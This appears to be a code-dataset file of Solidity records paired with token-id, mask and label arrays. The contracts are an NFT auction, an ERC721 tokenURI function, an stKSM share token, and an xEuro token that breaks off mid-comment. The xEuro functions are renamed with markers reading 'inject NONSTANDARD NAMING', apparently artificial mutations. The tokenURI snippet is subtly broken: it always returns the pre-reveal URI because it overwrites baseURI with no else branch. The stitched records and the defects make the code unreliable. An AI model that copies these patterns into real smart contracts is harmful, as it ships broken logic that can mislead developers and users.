[ 1, 12384, 787, 598, 6580, 605, 20626, 358, 5765, 6205, 364, 22901, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5024, 13937, 273, 6580, 12648, 2787, 9449, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC721 { function safeTransferFrom(address from, address to, uint256 tokenId) external; } contract EnglishAuctionPropy { using SafeMath for uint256; // System settings address public deployer; uint256 public id; address public token; bool public ended = false; mapping (address => bool) private blacklistedBidders; // Current winning bid uint256 public lastBid; address payable public winning; uint256 public length; uint256 public startTime; uint256 public endTime; address payable public haus; address payable public seller; event Bid(address who, uint256 amount); event Won(address who, uint256 amount); constructor(uint256 _id, uint256 _startTime) public { token = address(0x2dbC375B35c5A2B6E36A386c8006168b686b70D3); id = _id; startTime = _startTime; length = 24 hours; endTime = startTime + length; lastBid = 7.5 ether; seller = payable(address(0x36228C2A182101e4Cb8a6519C0689b0d75775587)); haus = payable(address(0x15884D7a5567725E0306A90262ee120aD8452d58)); deployer = msg.sender; } function bid() public payable { require(blacklistedBidders[msg.sender] == false, "blacklisted address"); require(msg.sender == tx.origin, "no contracts"); require(block.timestamp >= startTime, "Auction not started"); require(block.timestamp < endTime, "Auction ended"); require(msg.value >= lastBid.mul(102).div(100), "Bid too small"); // 2% increase // Give back the last bidders money if (winning != address(0)) { winning.transfer(lastBid); } if (endTime - now < 15 minutes) { endTime = now + 15 minutes; } lastBid = msg.value; winning = msg.sender; emit Bid(msg.sender, msg.value); } function end() public { require(!ended, "end already called"); require(winning != address(0), "no bids"); require(!live(), "Auction live"); // transfer erc721 to winner IERC721(token).safeTransferFrom(address(seller), winning, id); // Will transfer ERC721 from current owner to new owner uint256 balance = address(this).balance; uint256 hausFee = balance.div(20); haus.transfer(hausFee); seller.transfer(address(this).balance); ended = true; emit Won(winning, lastBid); } function addToBlacklist(address _toBlacklist) public { require(msg.sender == deployer, "must be deployer"); blacklistedBidders[_toBlacklist] = true; } function removeFromBlacklist(address _toBlacklist) public { require(msg.sender == deployer, "must be deployer"); blacklistedBidders[_toBlacklist] = false; } function live() public view returns(bool) { return block.timestamp < endTime; } }
Will transfer ERC721 from current owner to new owner
IERC721(token).safeTransferFrom(address(seller), winning, id);
14,555,682
[ 1, 13670, 7412, 4232, 39, 27, 5340, 628, 783, 3410, 358, 394, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 654, 39, 27, 5340, 12, 2316, 2934, 4626, 5912, 1265, 12, 2867, 12, 1786, 749, 3631, 5657, 2093, 16, 612, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xCBc5F459CbFfF0B147c027BBef1cA2F42eC2029e/sources/arock.sol
read URI of Token for Meta
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory currentBaseURI; if (revealed) { currentBaseURI = baseURI; currentBaseURI = prerevealURI; } return string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)); }
8,262,180
[ 1, 896, 3699, 434, 3155, 364, 6565, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 11890, 5034, 1147, 548, 13, 1071, 1476, 5024, 3849, 203, 3639, 1135, 261, 1080, 3778, 13, 203, 565, 288, 203, 3639, 2583, 24899, 1808, 12, 2316, 548, 3631, 315, 654, 39, 27, 5340, 2277, 30, 3699, 843, 364, 1661, 19041, 1147, 8863, 203, 3639, 533, 3778, 783, 2171, 3098, 31, 203, 540, 203, 3639, 309, 261, 266, 537, 18931, 13, 288, 203, 5411, 783, 2171, 3098, 273, 1026, 3098, 31, 203, 5411, 783, 2171, 3098, 273, 30328, 24293, 3098, 31, 203, 3639, 289, 203, 203, 3639, 327, 533, 12, 21457, 18, 3015, 4420, 329, 12, 2972, 2171, 3098, 16, 1147, 548, 18, 10492, 9334, 1026, 3625, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; abstract contract stKSM is IERC20, Pausable { /** * @dev stKSM balances are dynamic and are calculated based on the accounts' shares * and the total amount of KSM controlled by the protocol. Account shares aren't * normalized, so the contract also stores the sum of all shares to calculate * each account's token balance which equals to: * * shares[account] * _getTotalPooledKSM() / _getTotalShares() */ mapping (address => uint256) private shares; /** * @dev Allowances are nominated in tokens, not token shares. */ mapping (address => mapping (address => uint256)) private allowances; /** * @dev Storage position used for holding the total amount of shares in existence. */ uint256 internal totalShares; /** * @return the amount of tokens in existence. * * @dev Always equals to `_getTotalPooledKSM()` since token amount * is pegged to the total amount of KSM controlled by the protocol. */ function totalSupply() public view override returns (uint256) { return _getTotalPooledKSM(); } /** * @return the entire amount of KSMs controlled by the protocol. * * @dev The sum of all KSM balances in the protocol. */ function getTotalPooledKSM() public view returns (uint256) { return _getTotalPooledKSM(); } /** * @return the amount of tokens owned by the `_account`. * * @dev Balances are dynamic and equal the `_account`'s share in the amount of the * total KSM controlled by the protocol. See `sharesOf`. */ function balanceOf(address _account) public view override returns (uint256) { return getPooledKSMByShares(_sharesOf(_account)); } /** * @notice Moves `_amount` tokens from the caller's account to the `_recipient` account. * * @return a boolean value indicating whether the operation succeeded. * Emits a `Transfer` event. * * Requirements: * * - `_recipient` cannot be the zero address. * - the caller must have a balance of at least `_amount`. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function transfer(address _recipient, uint256 _amount) public override returns (bool) { _transfer(msg.sender, _recipient, _amount); return true; } /** * @return the remaining number of tokens that `_spender` is allowed to spend * on behalf of `_owner` through `transferFrom`. This is zero by default. * * @dev This value changes when `approve` or `transferFrom` is called. */ function allowance(address _owner, address _spender) public view override returns (uint256) { return allowances[_owner][_spender]; } /** * @notice Sets `_amount` as the allowance of `_spender` over the caller's tokens. * * @return a boolean value indicating whether the operation succeeded. * Emits an `Approval` event. * * Requirements: * * - `_spender` cannot be the zero address. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function approve(address _spender, uint256 _amount) public override returns (bool) { _approve(msg.sender, _spender, _amount); return true; } /** * @notice Moves `_amount` tokens from `_sender` to `_recipient` using the * allowance mechanism. `_amount` is then deducted from the caller's * allowance. * * @return a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_sender` and `_recipient` cannot be the zero addresses. * - `_sender` must have a balance of at least `_amount`. * - the caller must have allowance for `_sender`'s tokens of at least `_amount`. * - the contract must not be paused. * * @dev The `_amount` argument is the amount of tokens, not shares. */ function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { uint256 currentAllowance = allowances[_sender][msg.sender]; require(currentAllowance >= _amount, "TRANSFER_AMOUNT_EXCEEDS_ALLOWANCE"); _transfer(_sender, _recipient, _amount); _approve(_sender, msg.sender, currentAllowance -_amount); return true; } /** * @notice Atomically increases the allowance granted to `_spender` by the caller by `_addedValue`. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol#L42 * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the the zero address. * - the contract must not be paused. */ function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) { _approve(msg.sender, _spender, allowances[msg.sender][_spender] + _addedValue); return true; } /** * @notice Atomically decreases the allowance granted to `_spender` by the caller by `_subtractedValue`. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol#L42 * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `_spender` cannot be the zero address. * - `_spender` must have allowance for the caller of at least `_subtractedValue`. * - the contract must not be paused. */ function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 currentAllowance = allowances[msg.sender][_spender]; require(currentAllowance >= _subtractedValue, "DECREASED_ALLOWANCE_BELOW_ZERO"); _approve(msg.sender, _spender, currentAllowance-_subtractedValue); return true; } /** * @return the total amount of shares in existence. * * @dev The sum of all accounts' shares can be an arbitrary number, therefore * it is necessary to store it in order to calculate each account's relative share. */ function getTotalShares() public view returns (uint256) { return _getTotalShares(); } /** * @return the amount of shares owned by `_account`. */ function sharesOf(address _account) public view returns (uint256) { return _sharesOf(_account); } /** * @return the amount of shares that corresponds to `_ethAmount` protocol-controlled KSM. */ function getSharesByPooledKSM(uint256 _amount) public view returns (uint256) { uint256 totalPooledKSM = _getTotalPooledKSM(); if (totalPooledKSM == 0) { return 0; } else { return _amount * _getTotalShares() / totalPooledKSM; } } /** * @return the amount of KSM that corresponds to `_sharesAmount` token shares. */ function getPooledKSMByShares(uint256 _sharesAmount) public view returns (uint256) { uint256 _totalShares = _getTotalShares(); if (totalShares == 0) { return 0; } else { return _sharesAmount * _getTotalPooledKSM() / _totalShares; } } /** * @return the total amount (in wei) of KSM controlled by the protocol. * @dev This is used for calaulating tokens from shares and vice versa. * @dev This function is required to be implemented in a derived contract. */ function _getTotalPooledKSM() internal view virtual returns (uint256); /** * @notice Moves `_amount` tokens from `_sender` to `_recipient`. * Emits a `Transfer` event. */ function _transfer(address _sender, address _recipient, uint256 _amount) internal { uint256 _sharesToTransfer = getSharesByPooledKSM(_amount); _transferShares(_sender, _recipient, _sharesToTransfer); emit Transfer(_sender, _recipient, _amount); } /** * @notice Sets `_amount` as the allowance of `_spender` over the `_owner` s tokens. * * Emits an `Approval` event. * * Requirements: * * - `_owner` cannot be the zero address. * - `_spender` cannot be the zero address. * - the contract must not be paused. */ function _approve(address _owner, address _spender, uint256 _amount) internal whenNotPaused { require(_owner != address(0), "APPROVE_FROM_ZERO_ADDRESS"); require(_spender != address(0), "APPROVE_TO_ZERO_ADDRESS"); allowances[_owner][_spender] = _amount; emit Approval(_owner, _spender, _amount); } /** * @return the total amount of shares in existence. */ function _getTotalShares() internal view returns (uint256) { return totalShares; } /** * @return the amount of shares owned by `_account`. */ function _sharesOf(address _account) internal view returns (uint256) { return shares[_account]; } /** * @notice Moves `_sharesAmount` shares from `_sender` to `_recipient`. * * Requirements: * * - `_sender` cannot be the zero address. * - `_recipient` cannot be the zero address. * - `_sender` must hold at least `_sharesAmount` shares. * - the contract must not be paused. */ function _transferShares(address _sender, address _recipient, uint256 _sharesAmount) internal whenNotPaused { require(_sender != address(0), "TRANSFER_FROM_THE_ZERO_ADDRESS"); require(_recipient != address(0), "TRANSFER_TO_THE_ZERO_ADDRESS"); uint256 currentSenderShares = shares[_sender]; require(_sharesAmount <= currentSenderShares, "TRANSFER_AMOUNT_EXCEEDS_BALANCE"); shares[_sender] = currentSenderShares - _sharesAmount; shares[_recipient] = shares[_recipient] + _sharesAmount; } /** * @notice Creates `_sharesAmount` shares and assigns them to `_recipient`, increasing the total amount of shares. * @dev This doesn't increase the token total supply. * * Requirements: * * - `_recipient` cannot be the zero address. * - the contract must not be paused. */ function _mintShares(address _recipient, uint256 _sharesAmount) internal whenNotPaused returns (uint256 newTotalShares) { require(_recipient != address(0), "MINT_TO_THE_ZERO_ADDRESS"); newTotalShares = _getTotalShares() + _sharesAmount; totalShares = newTotalShares; shares[_recipient] = shares[_recipient] + _sharesAmount; // Notice: we're not emitting a Transfer event from the zero address here since shares mint // works by taking the amount of tokens corresponding to the minted shares from all other // token holders, proportionally to their share. The total supply of the token doesn't change // as the result. This is equivalent to performing a send from each other token holder's // address to `address`, but we cannot reflect this as it would require sending an unbounded // number of events. } /** * @notice Destroys `_sharesAmount` shares from `_account`'s holdings, decreasing the total amount of shares. * @dev This doesn't decrease the token total supply. * * Requirements: * * - `_account` cannot be the zero address. * - `_account` must hold at least `_sharesAmount` shares. * - the contract must not be paused. */ function _burnShares(address _account, uint256 _sharesAmount) internal whenNotPaused returns (uint256 newTotalShares) { require(_account != address(0), "BURN_FROM_THE_ZERO_ADDRESS"); uint256 accountShares = shares[_account]; require(_sharesAmount <= accountShares, "BURN_AMOUNT_EXCEEDS_BALANCE"); newTotalShares = _getTotalShares() - _sharesAmount; totalShares = newTotalShares; shares[_account] = accountShares - _sharesAmount; // Notice: we're not emitting a Transfer event to the zero address here since shares burn // works by redistributing the amount of tokens corresponding to the burned shares between // all other token holders. The total supply of the token doesn't change as the result. // This is equivalent to performing a send from `address` to each other token holder address, // but we cannot reflect this as it would require sending an unbounded number of events. } }
* @return the amount of shares owned by `_account`./
function sharesOf(address _account) public view returns (uint256) { return _sharesOf(_account); }
2,510,482
[ 1, 2463, 326, 3844, 434, 24123, 16199, 635, 1375, 67, 4631, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 24123, 951, 12, 2867, 389, 4631, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 30720, 951, 24899, 4631, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.7 <0.6.0; library SafeMath { function MUL120(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function DIV899(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function SUB990(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a); uint256 c = a - b; return c; } function ADD799(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a); return c; } function MOD285(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } // see: https://github.com/ethereum/EIPs/issues/677 contract tokenRecipient { function TOKENFALLBACK38(address _from, uint256 _value, bytes memory _extraData) public returns (bool); //inject NONSTANDARD NAMING } contract xEuro { // see: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol using SafeMath for uint256; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#name // function name() constant returns (string name) string public name = "xEuro"; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#symbol // function symbol() constant returns (string symbol) string public symbol = "xEUR"; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#decimals // function decimals() constant returns (uint8 decimals) uint8 public decimals = 0; // 1 token = 11, no smaller unit // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#totalsupply // function totalSupply() constant returns (uint256 totalSupply) // we start with zero uint256 public totalSupply = 0; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#balanceof // function balanceOf(address _owner) constant returns (uint256 balance) mapping(address => uint256) public balanceOf; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#allowance // function allowance(address _owner, address _spender) constant returns (uint256 remaining) mapping(address => mapping(address => uint256)) public allowance; // admins mapping(address => bool) public isAdmin; // addresses allowed to mint tokens: mapping(address => bool) public canMint; // addresses allowed to transfer tokens from contract's own address: mapping(address => bool) public canTransferFromContract; // addresses allowed to burn tokens (on contract's own address): mapping(address => bool) public canBurn; // do not forget about: // https://medium.com/@codetractio/a-look-into-paritys-multisig-wallet-bug-affecting-100-million-in-ether-and-tokens-356f5ba6e90a constructor() public {// Constructor must be public or internal isAdmin[msg.sender] = true; canMint[msg.sender] = true; canTransferFromContract[msg.sender] = true; canBurn[msg.sender] = true; } // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#events // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer-1 event TRANSFER732(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event DATASENTTOANOTHERCONTRACT500(address indexed _from, address indexed _toContract, bytes _extraData); //inject NONSTANDARD NAMING // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#methods // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer function TRANSFER626(address _to, uint256 _value) public returns (bool){ //inject NONSTANDARD NAMING return TRANSFERFROM372(msg.sender, _to, _value); } // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transferfrom function TRANSFERFROM372(address _from, address _to, uint256 _value) public returns (bool){ //inject NONSTANDARD NAMING // Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20) require(_value >= 0); // The function SHOULD throw unless the _from account has 